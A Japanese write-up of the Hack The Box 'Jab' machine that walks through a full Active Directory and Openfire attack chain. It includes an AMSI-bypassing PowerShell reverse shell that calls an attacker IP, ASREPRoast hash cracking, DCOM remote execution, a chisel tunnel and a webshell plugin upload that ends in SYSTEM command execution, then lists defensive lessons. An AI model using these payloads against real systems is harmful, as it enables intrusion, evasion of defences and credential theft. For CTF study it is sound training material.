Hack The BoxのWriteup(Jab)[Medium]  

※本サイトはアフィリエイト広告を利用しています。
広告


HackTheBox: Jab — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC + Openfire XMPP
XEP-0077 匿名登録
rogue@jab.htb
jabber:iq:search
2600+件のADユーザー名列挙
ASREPRoast
jmontgomery:Midnight_121
MUCチャット履歴
svc_openfire Kerberoast漏洩
DCOM (MMC20)
PowerShellリバースシェル
user.txt ✓
chisel トンネル
127.0.0.1:9090 (Openfire管理)
悪意のあるプラグイン
cmd.jsp Webシェル
SYSTEM root.txt ✓
PHASE 1
  1. 偵察 (Reconnaissance)
    1. 全ポートスキャン
    2. バージョン・スクリプトスキャン
  2. XMPP 匿名アカウント登録 & ユーザー列挙
    1. XEP-0077 (In-Band Registration) による未認証アカウント作成
    2. jabber:iq:search でドメイン内の全ユーザー名を列挙
  3. ASREPRoast — Kerberos 事前認証無効アカウントの摘発
    1. GetNPUsers による一括 AS-REP 要求
    2. hashcat でクラック
  4. MUC (Multi-User Chat) 履歴から svc_openfire 認証情報を回収
    1. jmontgomery で XMPP に再ログインし、参加可能なチャットルームを列挙
    2. pentest2003 ルームに入室し履歴を取得
  5. DCOM (MMC20.Application) RCE → PowerShell リバースシェル → user.txt
    1. svc_openfire のドメイン権限を確認
    2. PowerShell リバースシェルペイロードを配信
    3. user.txt の取得
  6. chisel リバーストンネルで Openfire 管理コンソールへ到達
    1. localhost限定の管理ポートを発見
    2. chisel サーバ/クライアントの起動
  7. Openfire 管理コンソールへのログイン & 悪意のあるプラグインアップロード
    1. CSRF トークンを考慮したログイン
    2. Management Tool プラグインのアップロード (CVE-2023-32315 系 PoC 技法の転用)
  8. Webシェルでの SYSTEM コマンド実行 & root.txt 取得
    1. Webシェルへのログイン (固定パスワード 123)
    2. system command 機能で whoami を実行
    3. root.txt の取得
  9. 攻略サマリー & 教訓
    1. 取得フラグ
    2. 使用した脆弱性・弱点
    3. 攻撃チェーン全体の流れ
    4. 学んだ教訓 & 防御策

偵察 (Reconnaissance)

全ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.230.215
RESULT (36ポート)
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5222/tcp  open  xmpp-client
5223/tcp  open  hpvirtgrp
5262/tcp  open  unknown
5263/tcp  open  unknown
5269/tcp  open  xmpp-server
5270/tcp  open  xmp
5275/tcp  open  unknown
5276/tcp  open  unknown
5985/tcp  open  wsman
7070/tcp  open  realserver
7443/tcp  open  oracleas-https
7777/tcp  open  cbt
9389/tcp  open  adws
47001/tcp open  winrm
49664-49824/tcp open  msrpc (動的RPC)

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 53,88,135,139,389,445,636,3268,3269,5222,5223,5262,5263,5269,5270,5275,5276,5985,9389 10.129.230.215
RESULT (抜粋)
636/tcp   open  ssl/ldap  Microsoft Windows Active Directory LDAP (Domain: jab.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
5222/tcp  open  jabber
5223/tcp  open  ssl/jabber  Ignite Realtime Openfire Jabber server 3.10.0 or later
5269/tcp  open  xmpp-server Wildfire XMPP Client
🚨
重要発見: Kerberos (88) + LDAP (389/636/3268) + SMB (445) から Active Directory ドメインコントローラ (jab.htb, ホスト名 DC01) であることが確定。 加えて Openfire XMPP サーバ 3.10.0+ (ポート5222/5223) が稼働しており、 ドメイン名から jab.htb/etc/hosts に追加してAD名前解決を有効化する。
BASH
echo "10.129.230.215 jab.htb DC01.jab.htb DC01" | sudo tee -a /etc/hosts
PHASE 2

XMPP 匿名アカウント登録 & ユーザー列挙

XEP-0077 (In-Band Registration) による未認証アカウント作成

NOTE
Openfire は XMPP の拡張仕様 XEP-0077 (In-Band Registration) を有効にしている
ことが多く、未認証のまま生ソケットで jabber:iq:register IQ を送ると、
誰でも自由にアカウントを作成できる。Pidgin 等の GUI クライアントでも可能だが、
ここでは Python の生ソケットで XML ストリームを直接やり取りする。
PYTHON (xmpp_register.py)
import socket

TARGET, PORT, DOMAIN = "10.129.230.215", 5222, "jab.htb"
sock = socket.create_connection((TARGET, PORT), timeout=15)
sock.sendall((
    f"<stream:stream to='{DOMAIN}' xmlns='jabber:client' "
    "xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
).encode())
print(sock.recv(4096))   # stream header
print(sock.recv(4096))   # stream:features (in-band registration対応を確認)

sock.sendall((
    "<iq type='set' id='reg1'><query xmlns='jabber:iq:register'>"
    "<username>rogue</username><password>rogue</password>"
    "</query></iq>"
).encode())
print(sock.recv(4096))
RESULT
<iq type="result" id="reg1"/>
rogue:rogue アカウントの作成に成功。以後このアカウントで SASL PLAIN 認証しログインできる。

jabber:iq:search でドメイン内の全ユーザー名を列挙

NOTE
Openfire はデフォルトで search.jab.htb という検索サービスを公開しており、
認証済みユーザーであれば jabber:x:data フォームでワイルドカード検索
(search=*) を投げると、ディレクトリに登録された全ユーザー名を
一括取得できる。実機では取得件数が実行毎に 600〜2700件超と
変動した(レスポンス受信完了までの読み取りタイミングに依存するため)。
PYTHON (続き — SASL PLAIN認証 + bind)
import base64

auth_b64 = base64.b64encode(b"\x00rogue\x00rogue").decode()
sock.sendall(f"<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN'>{auth_b64}</auth>".encode())
print(sock.recv(4096))   # <success/>

sock.sendall((
    f"<stream:stream from='rogue@{DOMAIN}' to='{DOMAIN}' version='1.0' "
    "xml:lang='en' xmlns='jabber:client' "
    "xmlns:stream='http://etherx.jabber.org/streams'>"
).encode())
sock.recv(4096)
sock.sendall(b"<iq id='bind1' type='set'><bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'>"
             b"<resource>search</resource></bind></iq>")
sock.recv(4096)
PYTHON (jabber:iq:search クエリ)
sock.sendall((
    f"<iq type='set' to='search.{DOMAIN}' xmlns='jabber:client'>"
    "<query xmlns='jabber:iq:search'>"
    "<x xmlns='jabber:x:data' type='submit'>"
    "<field var='search'><value>*</value></field>"
    "<field var='Username'><value>1</value></field>"
    "</x></query></iq>"
).encode())
RESULT (抜粋)
<iq type="result"><query xmlns="jabber:iq:search"><x xmlns="jabber:x:data" type="result">
  <item><field var="Username"><value>lmccarty</value></field></item>
  <item><field var="Username"><value>nenglert</value></field></item>
  <item><field var="Username"><value>jmontgomery</value></field></item>
  <item><field var="Username"><value>lbradford</value></field></item>
  <item><field var="Username"><value>mlowe</value></field></item>
  ... (実測 2684 件)
</x></query></iq>
ℹ️
re.findall(r'<field var="Username"><value>(.*?)</value></field>', resp) でユーザー名一覧を抽出し、次の ASREPRoast の入力ファイルとする。
PHASE 3

ASREPRoast — Kerberos 事前認証無効アカウントの摘発

GetNPUsers による一括 AS-REP 要求

BASH
impacket-GetNPUsers jab.htb/ -usersfile usernames.txt \
  -request -format hashcat -outputfile asrep.txt -dc-ip 10.129.230.215
RESULT
[-] User lmccarty doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User nenglert doesn't have UF_DONT_REQUIRE_PREAUTH set
... (大多数は事前認証必須)
$krb5asrep$23$jmontgomery@JAB.HTB:83a3a447b028ac118c37d56c5d6e0cda$f3093709...
$krb5asrep$23$lbradford@JAB.HTB:6fbc1277148279f91c7e71e1ce0ab68d$19ac8b1d...
$krb5asrep$23$mlowe@JAB.HTB:eae78ec050086b64ce0a0a7aa6c7d612$7425f841ca...
⚠️
ハマりどころ: 2600件超のユーザー名に対して逐次 (非並列) に AS-REQ を投げるため、対象環境のレイテンシ (実測 RTT 200〜580ms) 次第では 全件処理に 20分以上かかる。タイムアウトを短く設定していると 処理完了前に強制終了され、1件もクラック対象を取得できない。
3ユーザー (jmontgomery, lbradford, mlowe) が 「Kerberos事前認証不要」フラグ (UF_DONT_REQUIRE_PREAUTH) 付きで AS-REP ハッシュを取得できた。

hashcat でクラック

BASH
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep.txt --show
RESULT
$krb5asrep$23$jmontgomery@JAB.HTB:83a3a447...:Midnight_121

Session..........: hashcat
Status...........: Cracked
Recovered........: 1/3 (33.33%) Digests
🚨
ハマりどころ: クラック実行時と結果確認 (--show) 実行時の 両方--potfile-disable を付けると、 hashcat は「Mixing –potfile-disable is not allowed with –show or –left.」 と拒否するだけでなく、クラック自体は成功していても potfile に何も 書き込まれないため --show は常に空を返す。 クラック実行は potfile を無効化せずに行い、--show で 結果を確認するのが正しい手順。
Domain 認証情報 — jmontgomery (ASREPRoast)
jmontgomery : Midnight_121
PHASE 4

MUC (Multi-User Chat) 履歴から svc_openfire 認証情報を回収

jmontgomery で XMPP に再ログインし、参加可能なチャットルームを列挙

PYTHON (jmontgomery:Midnight_121 で認証 → MUC room disco)
# (Phase2と同様の手順で SASL PLAIN 認証、resource="muc")
sock.sendall((
    f"<iq type='get' to='conference.{DOMAIN}' id='disco1' xmlns='jabber:client'>"
    "<query xmlns='http://jabber.org/protocol/disco#items'/></iq>"
).encode())
RESULT
<item jid="test@conference.jab.htb"/>
<item jid="pentest2003@conference.jab.htb"/>
<item jid="test2@conference.jab.htb"/>
🚨
pentest2003 という見慣れないルームが存在する。ペネトレーションテストの 結果を共有する社内チャットログである可能性が高い。

pentest2003 ルームに入室し履歴を取得

PYTHON (MUC入室 + 履歴要求)
sock.sendall((
    "<presence to='pentest2003@conference.jab.htb/scanner' xmlns='jabber:client'>"
    "<x xmlns='http://jabber.org/protocol/muc'>"
    "<history maxstanzas='200'/></x></presence>"
).encode())
RESULT (抜粋、8316 bytes 受信)
<message>...bdavis: 昨日実施した内部ペンテストの結果を共有します。
Kerberoasting でサービスアカウントのTGSハッシュを取得できました。

(11/21/23 21:30:56) bdavis: $ hashcat -m 13100 svc_openfire_tgs /usr/share/wordlists/rockyou.txt

hashcat (v6.1.1) starting...
<SNIP>
$krb5tgs$23$*svc_openfire$JAB.HTB$jab.htb/svc_openfire*$de17a01e...:!@#$%^&*(1qazxsw

このパスワードがまだ使われているかは要確認だが、記録として残しておく。</message>
致命的な情報漏洩: 過去のペネトレーションテストで発見・クラックされた svc_openfire サービスアカウントのパスワードが、 修正されないまま社内チャットのログに残り続けていた。 (svc_openfire は Kerberos SPN jab.htb/svc_openfire を持つため、認証済みドメインユーザーなら 誰でも TGS (Kerberoasting) を要求してこのハッシュを取得し直せる — ここではチャット履歴からそのまま平文パスワードを回収できた。)
Domain 認証情報 — svc_openfire (MUC履歴漏洩)
svc_openfire : !@#$%^&*(1qazxsw
PHASE 5

DCOM (MMC20.Application) RCE → PowerShell リバースシェル → user.txt

svc_openfire のドメイン権限を確認

NOTE
svc_openfire はローカル管理者ではないが、DC01 上の MMC20.Application
COM オブジェクトに対する DCOM Launch/Activation 権限が明示的に付与されて
いる (Openfire サービス自身の運用アカウントとして、リモートメンテナンス
目的で権限委譲されていたと推測される)。この権限があれば、SMB管理共有
(C$ / ADMIN$) にアクセスできなくても DCOM 経由でコマンドを実行できる。
BASH (動作確認)
impacket-dcomexec -object MMC20 -silentcommand -debug \
  "jab.htb/svc_openfire:!@#\$%^&*(1qazxsw@10.129.230.215" \
  "powershell.exe whoami"
RESULT
Impacket v0.14.0.dev0
[+] StringBinding chosen: ncacn_ip_tcp:10.129.230.215[50353]
(-silentcommand は出力を取得しないため、これ以上のログは出ない —
DCE/RPCバインドが成功していれば実行自体は成功している)

PowerShell リバースシェルペイロードを配信

POWERSHELL (shell.ps1)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.201',14701);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()
🚨
ハマりどころ (最重要): DCOM 経由のコマンド実行自体は成功する (Test-NetConnection のような無害なコマンドでは確実に コールバックが返ることを tcpdump で実測確認済み) にもかかわらず、 素の New-Object System.Net.Sockets.TCPClient(...) + iex のリバースシェル一行だけがコールバックしない。 これは Windows Defender / AMSI による既知シグネチャブロックが原因。 スクリプト先頭に AmsiUtils.amsiInitFailed を反射で 書き換える定番の AMSI バイパスを追加することで、以降のリバースシェル コードがスキャン対象から外れ、確実にコールバックするようになる。
BASH (配信)
# Kali側でHTTPサーバとリスナーを起動
python3 -m http.server 18081 --directory tools/ &
nc -lvnp 14701 &

# DCOM でダウンロード → 実行の2段階
impacket-dcomexec -object MMC20 -silentcommand \
  "jab.htb/svc_openfire:!@#\$%^&*(1qazxsw@10.129.230.215" \
  "powershell.exe Invoke-WebRequest -Uri http://10.10.15.201:18081/shell.ps1 -OutFile C:\Windows\TEMP\shell.ps1"

impacket-dcomexec -object MMC20 -silentcommand \
  "jab.htb/svc_openfire:!@#\$%^&*(1qazxsw@10.129.230.215" \
  "powershell.exe C:\Windows\TEMP\shell.ps1"
RESULT
connect to [10.10.15.201] from (UNKNOWN) [10.129.230.215] 50395
jab\svc_openfire
PS C:\windows\system32>

user.txt の取得

SHELL (リバースシェル内)
type C:\Users\svc_openfire\Desktop\user.txt
RESULT
63a372cfa221ca1058a8a443d8ead03b
user.txt — svc_openfire@DC01
63a372cfa221ca1058a8a443d8ead03b
PHASE 6

chisel リバーストンネルで Openfire 管理コンソールへ到達

localhost限定の管理ポートを発見

SHELL (リバースシェル内)
netstat -ano | findstr LISTENING
RESULT (抜粋)
TCP    127.0.0.1:9090    0.0.0.0:0    LISTENING    3208
ℹ️
ポート 9090 (Openfire 管理コンソール) が 127.0.0.1 にのみ バインドされている。外部からは直接アクセスできないため、 リバースシェル経由で chisel のリバーストンネルを張り、 Kali 側から localhost:9090 相当にアクセスできるようにする。

chisel サーバ/クライアントの起動

BASH (Kali側 — chiselサーバ)
chisel server -p 18889 --reverse
SHELL (ターゲット側 — chiselクライアント配信・実行)
# Invoke-WebRequestでchisel.exeを転送後、リバースシェル内で実行
C:\Windows\TEMP\chisel.exe client 10.10.15.201:18889 R:19090:127.0.0.1:9090
RESULT
Kali側: session#1: tun: proxy#R:19090=>127.0.0.1:9090: Listening
Kali の 127.0.0.1:19090 が、ターゲットの 127.0.0.1:9090 (Openfire 管理コンソール) に透過的に 転送されるようになった。
PHASE 7

Openfire 管理コンソールへのログイン & 悪意のあるプラグインアップロード

CSRF トークンを考慮したログイン

NOTE
login.jsp は csrf トークンを (1) hidden inputの値 と
(2) Set-Cookie: csrf=... の2箇所で返すが、これらは互いに異なる値
(別々に生成された乱数) であり、Openfire が実際に検証するのは
Cookie 側の値との一致 (double-submit cookieパターン)。
HTMLのhidden input値をPOSTすると常に「CSRF Failure!」になる。
BASH
curl -s -c cookies.txt http://127.0.0.1:19090/login.jsp
CSRF=$(grep -oP 'csrf\t\K.*' cookies.txt)

curl -s -b cookies.txt -c cookies.txt -L \
  --data-urlencode "username=svc_openfire" \
  --data-urlencode 'password=!@#$%^&*(1qazxsw' \
  --data-urlencode "login=true" \
  --data-urlencode "csrf=$CSRF" \
  http://127.0.0.1:19090/login.jsp
RESULT
(応答HTML内に) Logout ... Clustering status
svc_openfire は Openfire 管理コンソールのフル管理者権限を 持っていることが判明 (ドメインの Kerberoast 対象サービスアカウントが そのままアプリケーション管理者にもなっている、典型的な権限設計ミス)。

Management Tool プラグインのアップロード (CVE-2023-32315 系 PoC 技法の転用)

NOTE
稼働中の Openfire バージョンは CVE-2023-32315 (認証バイパス) 自体には
脆弱ではないが、同 CVE の PoC リポジトリが配布している
「Webシェル入りの Management Tool プラグイン」は、認証済み管理者であれば
正規のプラグインアップロード機能からそのまま利用できる。
アップロードフォームの action 属性は
"plugin-admin.jsp?uploadplugin&csrf=<token>" であり、
csrf はここでも URL クエリパラメータとして渡す必要がある
(POSTボディに入れると同様に失敗する)。
BASH
curl -sL -o openfire-management-tool-plugin.jar \
  https://raw.githubusercontent.com/miko550/CVE-2023-32315/main/openfire-management-tool-plugin.jar

CSRF2=$(grep -oP 'csrf\t\K.*' cookies.txt)
curl -s -b cookies.txt -c cookies.txt \
  -F "uploadfile=@openfire-management-tool-plugin.jar;type=application/java-archive" \
  "http://127.0.0.1:19090/plugin-admin.jsp?uploadplugin&csrf=$CSRF2"
RESULT
HTTP/1.1 302 Found
Location: plugin-admin.jsp
⚠️
ハマりどころ: jar ファイル名 (openfire-management-tool-plugin) から予想したデプロイ後の管理画面URLは index.jsplog.jsp ではなく、jar 内 web/WEB-INF/web.xml の サーブレットマッピングで宣言されている cmd.jsp だった (unzip で jar を展開して確認)。誤ったURLへアクセスすると プラグインディレクトリが存在しないため HTTP 500 になる。
BASH (正しいURLの特定)
unzip -p openfire-management-tool-plugin.jar web/WEB-INF/web.xml
# → <url-pattern>/cmd.jsp</url-pattern> を確認

curl -s -b cookies.txt http://127.0.0.1:19090/plugins/openfire-management-tool-plugin/cmd.jsp
RESULT
HTTP 200 — <title>openfireshell</title> のログインフォーム (password欄あり)
PHASE 8

Webシェルでの SYSTEM コマンド実行 & root.txt 取得

Webシェルへのログイン (固定パスワード 123)

BASH
curl -s -b cookies.txt -c cookies.txt \
  --data-urlencode "password=123" \
  --data-urlencode "Button=Login" \
  --data-urlencode "__EVENTTARGET=" \
  --data-urlencode "__EVENTARGUMENT=" \
  http://127.0.0.1:19090/plugins/openfire-management-tool-plugin/cmd.jsp
ℹ️
プラグイン jar の plugin.xml<description>pass 123</description> と平文で パスワードが記載されている (公開PoCツール特有の仕様)。

system command 機能で whoami を実行

BASH
curl -s -b cookies.txt \
  --data-urlencode "command=whoami" \
  "http://127.0.0.1:19090/plugins/openfire-management-tool-plugin/cmd.jsp?action=command"
RESULT
<td>nt authority\system<br></td>
Openfire サービス自体が NT AUTHORITY\SYSTEM 権限で稼働しているため、 このWebシェル経由のコマンド実行はそのまま最高権限での任意コード実行となる。
⚠️
ハマりどころ: type ... のような cmd.exe 組み込みコマンドをそのまま送ると bad command "type C:\...\root.txt" というエラーになる (Java の Runtime.exec() 相当で直接起動しているため、 シェルビルトインは実行ファイルとして解釈できない)。 cmd.exe /c でラップして初めて組み込みコマンドが実行できる。

root.txt の取得

BASH
curl -s -b cookies.txt \
  --data-urlencode 'command=cmd.exe /c type C:\Users\Administrator\Desktop\root.txt' \
  "http://127.0.0.1:19090/plugins/openfire-management-tool-plugin/cmd.jsp?action=command"
RESULT
<td>bad35dac3c4a537baee8f0b2039172dc<br></td>
root.txt — NT AUTHORITY\SYSTEM@DC01
bad35dac3c4a537baee8f0b2039172dc
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — svc_openfire@DC01
63a372cfa221ca1058a8a443d8ead03b
root.txt — NT AUTHORITY\SYSTEM@DC01
bad35dac3c4a537baee8f0b2039172dc

使用した脆弱性・弱点

脆弱性・弱点対象影響深刻度利用方法
XEP-0077 匿名アカウント登録が有効 Openfire XMPP (5222) 未認証での足がかり確保 High 誰でもアカウント作成 → 認証済みユーザーとして各種機能を利用可能に
jabber:iq:search による無制限ユーザー列挙 search.jab.htb AD全ユーザー名の漏洩 Medium ワイルドカード検索で2600件超のユーザー名を一括取得
Kerberos事前認証無効アカウント (ASREPRoast) jmontgomery 弱いパスワードのオフラインクラック Critical AS-REPハッシュを rockyou.txt でクラック (Midnight_121)
Kerberoastクラック結果がチャットログに平文で残存 MUCルーム pentest2003 サービスアカウント認証情報の漏洩 Critical svc_openfire のパスワードをチャット履歴から直接回収
サービスアカウントへの過剰なDCOM起動/アクティブ化権限 MMC20.Application (DC01) リモートコード実行 Critical DCOMラテラルムーブメントでPowerShellリバースシェル取得
Windows Defender/AMSI (対策済みだがバイパス可能) DC01 上の PowerShell 実行環境 マルウェアシグネチャ検知の回避 Medium AmsiUtils.amsiInitFailed 反射バイパスでリバースシェルを実行
サービスアカウントが Openfire 管理コンソールのフル管理者 Openfire 管理コンソール (127.0.0.1:9090) アプリケーションレベルの完全掌握 Critical 悪意あるプラグインアップロードでWebシェル設置 → SYSTEM権限RCE

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapAD DC (jab.htb) + Openfire XMPP 3.10.0+
2XMPP列挙XEP-0077登録 + jabber:iq:searchrogue@jab.htb, 2600件超のユーザー名
3ASREPRoastGetNPUsers + hashcat -m 18200jmontgomery:Midnight_121
4MUC履歴pentest2003ルーム閲覧svc_openfire:!@#$%^&*(1qazxsw
5DCOM RCEMMC20.Application + AMSIバイパスuser.txt
6トンネリングchisel リバーストンネル127.0.0.1:9090 → Kali:19090
7プラグインRCE悪意あるOpenfireプラグインcmd.jsp Webシェル (SYSTEM)
8フラグ取得cmd.exe /c type root.txtroot.txt

学んだ教訓 & 防御策

問題点防御策
XMPPサーバで匿名の in-band registration が有効なまま公開されている 本番環境では XEP-0077 を無効化するか、招待制・承認制の登録フローに限定する。
jabber:iq:search が誰でもディレクトリ全件検索を許してしまう 検索機能を無効化するか、管理者のみに制限する。ユーザー名列挙自体を最小権限の原則で保護する。
Kerberos事前認証を無効化したアカウントが存在する 全アカウントで UF_DONT_REQUIRE_PREAUTH を無効化し、強力なパスワードポリシーを強制する。
クラック済み認証情報がチャットツールのログに永続的に残る 機密情報 (パスワード・ハッシュ) をチャットで共有しない運用を徹底し、ログの保持期間・アクセス範囲を制限する。
サービスアカウントに不要なDCOM起動/アクティブ化権限が付与されている DCOM権限は必要最小限に絞り、定期的に dcomcnfg 設定を棚卸しする。
Openfireの運用アカウントがそのままアプリケーション管理者権限を保持 サービス実行アカウントと管理コンソールの認証情報を分離する。管理コンソールへのアクセスはVPN/踏み台経由に限定する。
管理コンソールから任意のプラグイン (=任意コード) をアップロード可能 プラグインアップロード機能を無効化するか、署名済みプラグインのみ許可する。Openfireプロセスの実行権限を最小化しSYSTEM権限で稼働させない。
HackTheBox: Jab | 完全攻略レポート